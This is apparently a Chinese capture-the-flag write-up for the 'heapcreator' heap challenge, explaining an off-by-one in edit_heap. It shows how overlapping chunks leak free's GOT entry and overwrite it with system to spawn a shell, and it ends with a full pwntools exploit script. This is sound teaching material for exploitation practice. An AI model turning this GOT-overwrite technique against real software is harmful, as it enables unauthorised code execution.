主要知识点:extend&overlapping off-by-one
环境:ubuntu-16.04 glibc2.23
分析
保护检查
按照惯例用checksec检查下保护
开启了金丝雀保护和堆栈可执行保护
再用IDA反汇编进行下代码审计
代码审计
- main函数
前几行代码定义变量然后关闭缓存区,然后进入菜单,main函数没啥说法
- menu函数
打印菜单
- create_heap函数
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
*(&heaparray + i) = malloc(0x10uLL);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = (__int64)*(&heaparray + i);
*(_QWORD *)(v0 + 8) = malloc(size);
if ( !*((_QWORD *)*(&heaparray + i) + 1) )
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)*(&heaparray + i) = size;
printf("Content of heap:");
read_input(*((_QWORD *)*(&heaparray + i) + 1), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
开始定义了几个变量,然后进入循环体
循环体主要内容就是:
先从索引0遍历heaparray,检查当前索引下是否有heap存在,没有就malloc一个0x10大小的堆
然后输入真正要创建的堆的size,然后把size存到heap array开始的0x8个字节中,然后把真正创建的堆的地址存到后0x8个字节中
接着通过read_input()
输入堆的内容,大小为size
- edit_heap函数
先输入索引,然后检查索引合法性,合法则可编辑内容
但是这里的**read_input()**多输入了一个字节,应该是size大小的,这里是size + 1,存在off_by_one漏洞
- show_heap函数
输入索引,通过索引打印堆中内容
- delete_heap函数
输入索引,根据索引free heaparray和heap content
思路分析
在分析之前,先看看创建的heap在内存中是什么样的
在create_heap时,会创建两个size为0x20的chunk
在存储heap array的数据的地方(0x859010)存放着两个heap content的size和地址
然后我们再来创建一个heap
tips:
prev_size用来存储物理地址相邻的上一个chunk的大小(如果上一个chunk为空闲的话)
在malloc()时,上一个chunk可以借用下一个chunk header中的prev_size(64位下占0x8)当作自己的空间,以达到空间复用的目的
所以说在这里我们可以把heap0的大小设置为0x18,这样在malloc时就会使用下一个chunk的prev_size的空间,
我们之前在对edit_heap
进行代码审计时发现其可以让heap content溢出一个字节,所以可以把二者利用起来:创建0x18大小的heap,然后溢出1个字节,这样就可以达到控制下一个chunk size的目的
控制了size字段,我们就可以向后extend
然后create_heap时,会先申请0x20大小的chunk,自然就会存放在原来heap1的后面,即现在的0x18a5050,然后再创建0x40大小的chunk,自然就存放在0x18a5040处
这样一来一回,我们就成功将heap1控制了,然后可以通过edit_heap
和show_heap
任意读写地址
解题过程
思路:泄露free_got地址,然后将free_got中的真实free地址修改为system地址
获取libc基地址
free_got = 0x602018 #可以通过在IDA查找或者elf.got['free']获取
create(0x18,"mick")
create(0x10,"mick")
edit(0,'/bin/sh\x00' + 'a'*0x10+ '\x41') #8 + 0x10 + 1 = 0x19个字节
delete(1) #修改成功后释放
payload = p64(0) * 4 + p64(0x30) + p64(free_got) #把原来的heap content指针覆盖为free_got
create(0x30,payload)
show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvline().strip().ljust(8,b'\x00'))
log.success("free address = " + hex(free_addr))
修改地址
libc_base = free_addr - libc.sym['free']
sys_addr = libc_base + libc.sym['system']
edit(1,p64(sys_addr))
getshell
delete(0)
打通~~~
exp.py
from pwn import *
p = process('./heapcreator')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(size,content):
p.sendline("1")
p.sendline(str(size))
p.sendline(content)
def edit(index,content):
p.sendline("2")
p.sendline(str(index))
p.sendline(content)
def show(index):
p.sendline("3")
p.sendline(str(index))
def delete(index):
p.sendline("4")
p.sendline(str(index))
free_got = 0x602018
create(0x18,"mick")
create(0x10,"mick")
edit(0,'/bin/sh\x00' + 'a'*0x10+ '\x41')
delete(1)
payload = p64(0) * 4 + p64(0x30) + p64(free_got)
create(0x30,payload)
show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvline().strip().ljust(8,b'\x00'))
log.success("free address = " + hex(free_addr))
libc_base = free_addr - libc.sym['free']
sys_addr = libc_base + libc.sym['system']
edit(1,p64(sys_addr))
delete(0)
p.interactive()